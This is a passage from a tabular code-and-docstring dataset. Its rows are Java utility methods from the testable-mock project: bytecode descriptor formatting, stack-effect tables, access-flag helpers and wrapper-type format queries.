code
stringlengths 11
173k
| docstring
stringlengths 2
593k
| func_name
stringlengths 2
189
| language
stringclasses 1
value | repo
stringclasses 833
values | path
stringlengths 11
294
| url
stringlengths 60
339
| license
stringclasses 4
values |
|---|---|---|---|---|---|---|---|
public static String toJavaMethodDesc(String owner, String desc) {
String ownerInDotFormat = ClassUtil.toDotSeparatedName(owner);
String parameters = toJavaParameterDesc(extractParameters(desc));
return String.format("%s(%s)", ownerInDotFormat, parameters);
} |
Format to java style constructor descriptor
@param owner class of method belongs to
@param desc method constructor in bytecode format
@return java style constructor descriptor
| MethodUtil::toJavaMethodDesc | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | MIT |
public static String toJavaMethodDesc(String owner, String name, String desc) {
String ownerInDotFormat = ClassUtil.toDotSeparatedName(owner);
String returnType = toJavaParameterDesc(getReturnType(desc));
String parameters = toJavaParameterDesc(extractParameters(desc));
return String.format("%s::%s(%s) : %s", ownerInDotFormat, name, parameters, returnType);
} |
Format to java style method descriptor
@param owner class of method belongs to
@param name method name
@param desc method descriptor in bytecode format
@return java style method descriptor
| MethodUtil::toJavaMethodDesc | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | MIT |
private static String toJavaParameterDesc(String desc) {
if (desc.isEmpty()) {
return "";
}
StringBuilder sb = new StringBuilder();
boolean isArray = false;
boolean isTravellingClass = false;
for (byte b : desc.getBytes()) {
if (isTravellingClass) {
switch (b) {
case CLASS_END:
sb.append(isArray ? "[]" : "");
isArray = false;
isTravellingClass = false;
break;
case PKG_SEGMENT:
sb.append('.');
break;
default:
sb.append((char)b);
}
} else {
switch (b) {
case TYPE_ARRAY:
isArray = true;
break;
case TYPE_VOID:
sb.append(COMMA_SPACE).append("void");
break;
case TYPE_BYTE:
sb.append(COMMA_SPACE).append("byte").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_CHAR:
sb.append(COMMA_SPACE).append("char").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_DOUBLE:
sb.append(COMMA_SPACE).append("double").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_FLOAT:
sb.append(COMMA_SPACE).append("float").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_INT:
sb.append(COMMA_SPACE).append("int").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_LONG:
sb.append(COMMA_SPACE).append("long").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_SHORT:
sb.append(COMMA_SPACE).append("short").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_BOOL:
sb.append(COMMA_SPACE).append("boolean").append(isArray ? "[]" : "");
isArray = false;
break;
case TYPE_CLASS:
sb.append(COMMA_SPACE);
isTravellingClass = true;
break;
default:
break;
}
}
}
return sb.substring(COMMA_SPACE.length());
} |
Convert bytecode style parameter descriptor to java style descriptor
@param desc bytecode style descriptor
@return java style descriptor
| MethodUtil::toJavaParameterDesc | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java | MIT |
private static Map<Integer, Integer> bytecodeStackEffect = new HashMap<Integer, Integer>() {{
put(NOP, 0);
put(ACONST_NULL, 1);
put(ICONST_M1, 1);
put(ICONST_0, 1);
put(ICONST_1, 1);
put(ICONST_2, 1);
put(ICONST_3, 1);
put(ICONST_4, 1);
put(ICONST_5, 1);
put(LCONST_0, 1);
put(LCONST_1, 1);
put(FCONST_0, 1);
put(FCONST_1, 1);
put(FCONST_2, 1);
put(DCONST_0, 1);
put(DCONST_1, 1);
put(BIPUSH, 1);
put(SIPUSH, 1);
put(LDC, 1);
put(ILOAD, 1);
put(LLOAD, 1);
put(FLOAD, 1);
put(DLOAD, 1);
put(ALOAD, 1);
put(IALOAD, -1); // array operation eat 2 more stacks
put(LALOAD, -1); // array operation eat 2 more stacks
put(FALOAD, -1); // array operation eat 2 more stacks
put(DALOAD, -1); // array operation eat 2 more stacks
put(AALOAD, -1); // array operation eat 2 more stacks
put(BALOAD, -1); // array operation eat 2 more stacks
put(CALOAD, -1); // array operation eat 2 more stacks
put(SALOAD, -1); // array operation eat 2 more stacks
put(ISTORE, -1);
put(LSTORE, -1);
put(FSTORE, -1);
put(DSTORE, -1);
put(ASTORE, -1);
put(IASTORE, -3); // array operation eat 2 more stacks
put(LASTORE, -3); // array operation eat 2 more stacks
put(FASTORE, -3); // array operation eat 2 more stacks
put(DASTORE, -3); // array operation eat 2 more stacks
put(AASTORE, -3); // array operation eat 2 more stacks
put(BASTORE, -3); // array operation eat 2 more stacks
put(CASTORE, -3); // array operation eat 2 more stacks
put(SASTORE, -3); // array operation eat 2 more stacks
put(POP, -1);
put(POP2, -2);
put(DUP, 1);
put(DUP_X1, 1);
put(DUP_X2, 1);
put(DUP2, 2);
put(DUP2_X1, 2);
put(DUP2_X2, 2);
put(SWAP, 0);
put(IADD, -1);
put(LADD, -1);
put(FADD, -1);
put(DADD, -1);
put(ISUB, -1);
put(LSUB, -1);
put(FSUB, -1);
put(DSUB, -1);
put(IMUL, -1);
put(LMUL, -1);
put(FMUL, -1);
put(DMUL, -1);
put(IDIV, -1);
put(LDIV, -1);
put(FDIV, -1);
put(DDIV, -1);
put(IREM, -1);
put(LREM, -1);
put(FREM, -1);
put(DREM, -1);
put(INEG, 0);
put(LNEG, 0);
put(FNEG, 0);
put(DNEG, 0);
put(ISHL, -1);
put(LSHL, -1);
put(ISHR, -1);
put(LSHR, -1);
put(IUSHR, -1);
put(LUSHR, -1);
put(IAND, -1);
put(LAND, -1);
put(IOR, -1);
put(LOR, -1);
put(IXOR, -1);
put(LXOR, -1);
put(IINC, 0);
put(I2L, 0);
put(I2F, 0);
put(I2D, 0);
put(L2I, 0);
put(L2F, 0);
put(L2D, 0);
put(F2I, 0);
put(F2L, 0);
put(F2D, 0);
put(D2I, 0);
put(D2L, 0);
put(D2F, 0);
put(I2B, 0);
put(I2C, 0);
put(I2S, 0);
put(LCMP, -1);
put(FCMPL, -1);
put(FCMPG, -1);
put(DCMPL, -1);
put(DCMPG, -1);
put(IFEQ, -1);
put(IFNE, -1);
put(IFLT, -1);
put(IFGE, -1);
put(IFGT, -1);
put(IFLE, -1);
put(IF_ICMPEQ, -2);
put(IF_ICMPNE, -2);
put(IF_ICMPLT, -2);
put(IF_ICMPGE, -2);
put(IF_ICMPGT, -2);
put(IF_ICMPLE, -2);
put(IF_ACMPEQ, -2);
put(IF_ACMPNE, -2);
put(GOTO, 0);
put(JSR, 1);
put(RET, 0);
put(TABLESWITCH, -1);
put(LOOKUPSWITCH, -1);
put(IRETURN, 0);
put(LRETURN, 0);
put(FRETURN, 0);
put(DRETURN, 0);
put(ARETURN, 0);
put(RETURN, 1);
put(GETSTATIC, 1);
put(PUTSTATIC, -1);
put(GETFIELD, 0);
put(PUTFIELD, -2);
put(INVOKEVIRTUAL, 0); // variable
put(INVOKESPECIAL, 0); // variable
put(INVOKESTATIC, 0); // variable
put(INVOKEINTERFACE, 0); // variable
put(INVOKEDYNAMIC, 0); // variable
put(NEW, 1);
put(NEWARRAY, 0);
put(ANEWARRAY, 0);
put(ARRAYLENGTH, 0);
put(ATHROW, 1);
put(CHECKCAST, 0);
put(INSTANCEOF, 0);
put(MONITORENTER, -1);
put(MONITOREXIT, -1);
put(MULTIANEWARRAY, 0); // variable
put(IFNULL, -1);
put(IFNONNULL, -1);
}}; |
refer to https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings
positive for push stack, negative for pop stack
| BytecodeUtil::HashMap<Integer,Integer> | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static Map<String, String> PRIMITIVE_TYPE_NAME_MAP = new HashMap<String, String>() {{
put("byte", String.valueOf((char)TYPE_BYTE));
put("char", String.valueOf((char)TYPE_CHAR));
put("double", String.valueOf((char)TYPE_DOUBLE));
put("float", String.valueOf((char)TYPE_FLOAT));
put("int", String.valueOf((char)TYPE_INT));
put("long", String.valueOf((char)TYPE_LONG));
put("short", String.valueOf((char)TYPE_SHORT));
put("boolean", String.valueOf((char)TYPE_BOOL));
}}; |
java primitive type name to bytecode mapping
| BytecodeUtil::HashMap<String,String> | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static int stackEffect(int bytecode) {
return bytecodeStackEffect.get(bytecode);
} |
get stack impact of a specified ops code
@param bytecode ops code to check
@return stack change
| BytecodeUtil::stackEffect | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static int toPublicAccess(int access) {
access &= ~ACC_PRIVATE;
access &= ~ACC_PROTECTED;
access |= ACC_PUBLIC;
return access;
} |
make sure method has public access
@param access original access mark
@return access mark with public flag
| BytecodeUtil::toPublicAccess | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static void dumpByte(ClassNode cn, String dumpPath, byte[] bytes) {
if (dumpPath == null) {
dumpPath = getDumpPathByAnnotation(cn);
if (dumpPath == null) {
return;
}
}
try {
String dumpFile = PathUtil.join(dumpPath,
cn.name.replace(SLASH, DOT).replace(DOLLAR, UNDERLINE) + POSTFIX_CLASS);
LogUtil.verbose("Dump class: " + dumpFile);
FileOutputStream stream = new FileOutputStream(dumpFile);
stream.write(bytes);
stream.close();
} catch (IOException e) {
e.printStackTrace();
}
} |
dump byte code to specified class file
@param cn original class node
@param dumpPath folder to store class file
@param bytes original class bytes
| BytecodeUtil::dumpByte | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static ImmutablePair<Integer, Integer> getLoadParameterByteCode(Byte type) {
switch (type) {
case ByteCodeConst.TYPE_BYTE:
case ByteCodeConst.TYPE_CHAR:
case ByteCodeConst.TYPE_SHORT:
case ByteCodeConst.TYPE_INT:
case ByteCodeConst.TYPE_BOOL:
return ImmutablePair.of(ILOAD, 1);
case ByteCodeConst.TYPE_DOUBLE:
return ImmutablePair.of(DLOAD, 2);
case ByteCodeConst.TYPE_FLOAT:
return ImmutablePair.of(FLOAD, 1);
case ByteCodeConst.TYPE_LONG:
return ImmutablePair.of(LLOAD, 2);
default:
return ImmutablePair.of(ALOAD, 1);
}
} |
get load ops-code of specified type
@param type type symbol
@return pair of [ops-code, stack occupation]
| BytecodeUtil::getLoadParameterByteCode | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public static AbstractInsnNode getIntInsn(int num) {
switch (num) {
case 0:
return new InsnNode(ICONST_0);
case 1:
return new InsnNode(ICONST_1);
case 2:
return new InsnNode(ICONST_2);
case 3:
return new InsnNode(ICONST_3);
case 4:
return new InsnNode(ICONST_4);
case 5:
return new InsnNode(ICONST_5);
default:
return new IntInsnNode(BIPUSH, num);
}
} |
get ops code of load a int number
@param num number to load
@return ops code
| BytecodeUtil::getIntInsn | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java | MIT |
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. | Format::bitWidth | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. | Format::stackSlots | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot? | Format::isSingleWord | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots? | Format::isDoubleWord | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
// wrapperType primitiveType char format
BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)),
// These must be in the order defined for widening primitive conversions in JLS 5.1.2
BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)),
SHORT ( Short.class, short.class, 'S', Format.signed( 16)),
CHAR (Character.class, char.class, 'C', Format.unsigned(16)),
INT ( Integer.class, int.class, 'I', Format.signed( 32)),
LONG ( Long.class, long.class, 'J', Format.signed( 64)),
FLOAT ( Float.class, float.class, 'F', Format.floating(32)),
DOUBLE ( Double.class, double.class, 'D', Format.floating(64)),
OBJECT ( Object.class, Object.class, 'L', Format.other( 1)),
// VOID must be the last type, since it is "assignable" from any other type:
VOID ( Void.class, void.class, 'V', Format.other( 0)),
;
private final Class<?> wrapperType;
private final Class<?> primitiveType;
private final char basicTypeChar;
private final int format;
WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) {
this.wrapperType = wtype;
this.primitiveType = ptype;
this.basicTypeChar = tchar;
this.format = format;
}
private static abstract class Format {
static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12;
static final int
SIGNED = (-1) << KIND_SHIFT,
UNSIGNED = 0 << KIND_SHIFT,
FLOATING = 1 << KIND_SHIFT;
static final int
SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1),
SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1);
static int format(int kind, int size, int slots) {
assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind);
assert((size & (size-1)) == 0); // power of two
assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false);
assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false);
return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT);
}
static final int
INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT),
VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT),
NUM_MASK = (-1) << SIZE_SHIFT;
static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); }
static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); }
static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); }
static int other(int slots) { return slots << SLOT_SHIFT; }
}
/// format queries:
/** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
/** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
/** Does the wrapped value occupy a single JVM stack slot?
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
/** Does the wrapped value occupy two JVM stack slots?
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
/** Is the wrapped type numeric (not void or object)? | Format::isNumeric | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java | MIT |
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; } |
simplified of sun.invoke.util.Wrapper
public enum WrapperType {
